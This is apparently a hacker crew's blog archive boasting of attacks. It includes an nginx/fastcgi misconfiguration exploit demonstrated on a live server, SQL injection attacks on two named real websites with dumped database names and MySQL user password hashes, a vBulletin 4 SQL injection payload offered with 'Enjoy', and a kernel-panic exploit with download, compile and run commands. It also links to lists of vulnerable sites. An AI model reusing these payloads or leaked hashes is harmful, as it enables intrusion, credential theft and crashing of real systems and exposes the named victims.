Showing posts with label Show Off. Show all posts
Showing posts with label Show Off. Show all posts
Dec 16, 2011

1
nginx server another exploit by ev1lut10n

yep this another configuration that trigger a hole  that i've found a bit different 
from the one from 80sec (http://www.80sec.com/nginx-securit.html) . 
For a fastcgi setting on nginx.conf like this (just example):

============
  fastcgi_param SCRIPT_FILENAME /home/any_user/public_html$fastcgi_script_name;
  if (!-e $request_filename) {
                    rewrite ^(.+)$ /index.php?q=$1 last;
                  }
=========== 
where /home/any_user/public_html can be any path , the above setting is 
a non default nginx configuration. 

any file extension that requested like : file.extension/any_string will be
treated just like a  php script , 
ex: test.txt/any_string_without_php_extension

as example here we've a file text on /home/user/www


==========================
root@host [/home/any_user_and_path/www]# cat tes.txt 
====================

 
where any request of that test.txt like this:
==============================
http://domain.com/tes.txt/any_string_without_php_extension 
=============================
will be treated as php script. 
ok, based on http://www.80sec.com/nginx-securit.html -> it suggest a patch 
on nginx.conf or can be on php.ini
on nginx.conf by adding:
if ( $fastcgi_script_name ~ \..*\/.*php ) {
return 403;
}
or on php.ini by cgi.fix_pathinfo=0
unfortunetly this will not fix your hole when u've the wrong config above. 
as i've check it still  treated as php script:





===========

root@host [/usr/local/nginx/conf]# cat /usr/local/lib/php.ini | grep cgi.fix_pathinfo
; cgi.fix_pathinfo provides *real* PATH_INFO/PATH_TRANSLATED support for CGI.  PHP's
cgi.fix_pathinfo=0
root@host [/usr/local/nginx/conf]# /etc/init.d/httpd restart
Restarting nginx daemon: nginxRemaining processes: 12091
root@host [/usr/local/nginx/conf]# wget http://***********.net/tes.jpg/any_string_without_extension
--08:35:00--  http://***********.net/tes.jpg/any_string_without_extension
           => `any_string_without_extension'
Resolving ***********.net... 204.197.248.127
Connecting to ***********.net|204.197.248.127|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: unspecified [text/html]

    [ <=>                                                                                                              ] 46,064        --.--K/s             

08:35:03 (9.38 MB/s) - `any_string_without_extension' saved [46064]
root@host [/usr/local/nginx/conf]# cat any_string_without_extension | grep 'PHP Version'
<a href="http://www.php.net/"><img border="0" src="/tes.jpg?=PHPE9568F34-D428-11d2-A769-00AA001ACF42" alt="PHP Logo" /></a><h1 class="p">PHP Version 5.2.17</h1>root@host [/usr/local/nginx/conf]# cat any_string_without_extension | grep 'safe_mode'
<tr><td class="e">safe_mode</td><td class="v">On</td><td class="v">On</td></tr>
<tr><td class="e">safe_mode_exec_dir</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
<tr><td class="e">safe_mode_gid</td><td class="v">On</td><td class="v">On</td></tr>
<tr><td class="e">safe_mode_include_dir</td><td class="v"><i>no value</i></td><td class="v"><i>no value</i></td></tr>
<tr><td class="e">sql.safe_mode</td><td class="v">Off</td><td class="v">Off</td></tr>
<tr><td class="e">safe_mode_allowed_env_vars</td><td class="v">PHP_</td><td class="v">PHP_</td></tr>
<tr><td class="e">safe_mode_protected_env_vars</td><td class="v">LD_LIBRARY_PATH</td><td class="v">LD_LIBRARY_PATH</td></tr>
root@host [/usr/local/nginx/conf]# <br />
=================================================<br />
<br />
(trust me that u must be very careful 
when u're gonna setting nginx and fastcgi !!
a little mistake on config will trigger a hole on ur server)
===========================
Special thanks to: Flyff666, Danzel, X-hack, Whitehat, P4, wenkhairu, badwolves , superman, 
cakill, ketek, Smith, all Chinese and Indonesians and all my bro
===========================
Aug 29, 2011

0
WordPress Public Bugs List

Hi to all WP Lovers ... Hope u don't have make a mistake with HP :p
Here are most of vulnerable public wordpress plugins .. so check first inside before u install any ...
 
Link here : ExploitDb
Aug 26, 2011

0
SQLi Vulnerable Sites

Here are some SQLi Vulnerable sites . just scanned . + infos

http://pastebin.com/wNNY0XuV
Jul 9, 2011

1
Some New Programers Work

So here are another PHP & MySQL Programmers who offer to hes customers Online Training for $150 ??
But can i ask do u really know php programing language ? i think not well :)

Just looking around on google and find ur services http://indiaebazar.com/deb/prodesc.php?pid=49
and i see u are vulnerable too like others ..

Let Me Tell u Something About Ur Site ;)

[+] URL:http://indiaebazar.com/deb/prodesc.php?pid=49+AND+1=2+UNION+SELECT+0,darkc0de,2,3,4,5--
[+] Evasion Used: "+" "--"
[+] Gathering MySQL Server Configuration...
    Database: indiaeba_ebazar
    User: indiaeba_ebauser@localhost
    Version: 5.0.92-community

[+] Do we have Access to MySQL Database: No

[+] Do we have Access to Load_File: No

[-] [14:34:01]
[-] Total URL Requests 3
[-] Done

This shit it's not allowed to u .. So first u need to learn vuln patching .i don't have anything with u guys just wanna to show to u something :)
Maybe u are good in php but u first need to learn about Security :)
Jun 6, 2011

0
SQL Vulns V5.*.*

May 28, 2011

0
DragonSoft Epic Fail :(

Lol a funny site who offer to hes clients protection from attacking sites like SQL Injection , XSS , BoF etc ...
but relly why not have secure hes site :( Ohh noo
And nice logo

So DragonSoft say :

http://www.dragonsoft.com/product/01.php

What is DragonWAF ?


DragonWAF is a host-based web application firewall using filtration algorithms, it targets to filter and prevent malicious coding attacks and defacements aiming at personal, SMB and corporate web sites that are hosted on Microsoft IIS Web Servers. The attack patterns and sources are recorded despite the encryption status of the attacking word strings, DragonWAF records by date, incoming IP addresses, attack types. The data are transformed into graphical reports which allows web masters to take easy control and security managements on their IIS Web Servers.

Best Web Server Protection Solution for SMB

DragonWAF proactively filter all known and unknown vulnerability attacks, protect web server security. DragonSoft offers best reasonable price package to SMB websites against malicious attacks and web defacements.


  • Website malicious attack & injection filtration
  • Customizable Remote Warning Page
  • SQL Injection Prevention
  • Buffer Overflow Protection
  • OWASP/PCI-DSS 6.6 compliant
  • Shellcode Exploits Prevention
  • HTTP Allowed Methods Prevention
  • Encoding Attack Prevention
  • Directory Traversal Prevention
  • Keyword Strings Filtration
  • Cross Site Scripting, (XSS) Attack Prevention
  • AJAX Attack Prevention
  • X Path Attack Prevention
  • XML Attack Prevention
  • Allow Directory Prevention
  • Support SSL websites

------------------------
But Not really 

Let me tell something :)

Bigies Fail 


[+] URL: http://www.dragonsoft.com/events/list.php?id=5+AND+1=2+UNION+SELECT+1,2,3,4,5,6
[+] 22:45:00
[+] Evasion: + --
[+] Cookie: None
[+] SSL: No
[+] Agent: Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)
[+] Gathering MySQL Server Configuration...
 Database: dragonsoft
 User: www@192.168.0.201
 Version: 5.1.47-log

[+] Do we have Access to MySQL Database: YES <-- w00t w00t

[+] Dumping MySQL user info. host:user:password[+] Number of users in the mysql.user table: 16
[0] localhost:root:*2253B4B9A751792D40AEC921E5DF5748B140FFC4
[1] test.dragonsoft:root:*2253B4B9A751792D40AEC921E5DF5748B140FFC4
[2] 127.0.0.1:root:*2253B4B9A751792D40AEC921E5DF5748B140FFC4
[3] 192.168.0.%:www:*7ECEBBD1459FB97E2FE2BB2721BDCAE1483C9EDD
[4] localhost:webprot:*ECA459A855FC3E72F690A6595BA4DA5E472D760E
[5] localhost:www:*7ECEBBD1459FB97E2FE2BB2721BDCAE1483C9EDD
[6] localhost:dcalendar:*090F8762C8C0778DFDBB200DD8748F979D812C18
[7] 192.168.0.%:kay:*B0AC41A8F1A5FB7AC4A313B1A4A65F3038A343C5
[8] 192.168.0.%:george:*6B05113CA60CA58DD62D7ED34941F68C6968B108
[9] 192.168.0.%:linus:*F1854B79E7636559FC27CB27AEFAF100B556DCBD
[10] 192.168.0.%:webprot:*ECA459A855FC3E72F690A6595BA4DA5E472D760E
[11] 192.168.0.%:root:*2253B4B9A751792D40AEC921E5DF5748B140FFC4
[12] 192.168.0.%:repl:*7ECEBBD1459FB97E2FE2BB2721BDCAE1483C9EDD
[13] 192.168.0.%:walter:*BDF7F6F2BF488168D5B4C2C87DB50FF1863B1E4D
[14] localhost:tony:*47318AF21EAB59984F5D7599F76191B6F4C32B7E
[15] 192.168.0.%:tony:*C617F3F58E152DBD282903477F1B5CAA255F0C10

[+] Showing all databases current user has access too!
[+] Number of Databases: 13

[1]  A-VAC 
[2]  calendar 
[3]  dragonsoft 
[4]  ds 
[5]  dsdz 
[6]  mysql 
[7]  order 
[8]  phpwind 
[9]  smb_reg 
[10]  test 
[11]  waf 
[12]  wp_reg 
[13]  wp_reg_old 

[-] [22:45:30]
[-] Total URL Requests: 20
[-] Done

Scanning for any admin folder or file but nothing
[ + ] URL : http://www.dragonsoft.com/

[ + ] Date: Sat May 28 22:56:31 2011

[ + ] Scanning. . . . .


http://www.dragonsoft.com/file   --------> ( 403 Forbidden ) -- ( 403 Forbidden )
http://www.dragonsoft.com/include   --------> ( 403 Forbidden ) -- ( 403 Forbidden )
http://www.dragonsoft.com/js   --------> ( 403 Forbidden ) -- ( 403 Forbidden )
http://www.dragonsoft.com/css   --------> ( 403 Forbidden ) -- ( 403 Forbidden )
http://www.dragonsoft.com/doc   --------> ( 403 Forbidden ) -- ( 403 Forbidden )
http://www.dragonsoft.com/config.php   --------> ( 200 OK ) -- (  )
[ + ] Done ! - End Scanning !

*-----------------------------------------------------------------------------*
How this is Posible ? All users of mysql and easy SQLi Injection Not protected with any Fucking WAF ..
    May 27, 2011

    0
    vBulletin 4.* SQL Injection

    Work on all 4 version exept last one 4.1.3 :)

    Video Link
    http://www.youtube.com/watch?v=htGClYoBN9k

    Exploit Code


    &cat[0]=1) UNION SELECT concat_ws(0x3a,username,password,salt) FROM user limit 1,1#
    
    
    Enjoy
    Oct 22, 2010

    0
    goldhaxors private local kernel 2.6.x kernel panic via pthread

    Ok here's a little private local kernel 2.6.x kernel panic exploit via pthread This sploit more dangerous than my other sploits before and cannot be prevented by process limiting since this only create one process and no socket required here.
    C0d3r: mywisdom Especially dedicated for goldhaxors.com and devilzc0de.org and jasakom.com and my lovely honey july aka prisciela mariebeth

    http://u.bb/1V1

    compile:

    g++ goldhaxors.cpp -o goldhaxors -lpthread -D_REENTRANT

    and then run it:

    ./goldhaxors

    and wait and ..boom kernel crash with only one process

    sample usage 1:

    cd /tmp
    wget http://yoyoparty.com/upload/goldhaxors.tgz
    tar zxvf goldhaxors.tgz
    cd goldhaxors
    g++ goldhaxors.cpp -o goldhaxors -lpthread -D_REENTRANT
    ./goldhaxors


    sample usage 2:

    cd /tmp
    wget http://yoyoparty.com/upload/goldhaxors.tgz
    tar zxvf goldhaxors.tgz
    cd goldhaxors
    ./goldhaxors.sh


    –greeetz–

    /***goldhaxors private local kernel 2.6.x kernel panic via pthread

    c0d3r: mywisdom (solhack 2004 c0d3r, devilzc0de c0d3r 2010)

    do visit:www.goldhaxors.com

    special thanks to: goldhaxors crews and members

    more thanks to :devilzc0de crews and members,yogyacarderlink crews and
    members, jatimcrew crews and members, hackernewbie crews and
    members,fasthacker crews and members and so on

    greets: Danzel,unkn0wn
    very special thanks to my beloved girl: juliana a.k.a vilecen a.k.a prisciela mariebeth

    greets2: gunslinger, flyv666,kiddies,
    petimati,xtr0nic,whitehat,cr4wl3r,gblack,v3n0m,d3xt3r,chaer
    newbie,blu3k1d (dark shine),linggah,yadoy666,aurel666,devil
    nongkrong,ki lurah,z0mb13,byz999,iblis
    muda,7460,n0ge,stardustmemory,angela zhang,fasthacker,hendri
    note,kingkong,thitha, nur si sister chubby,etc…
     
    FlashcRew Blog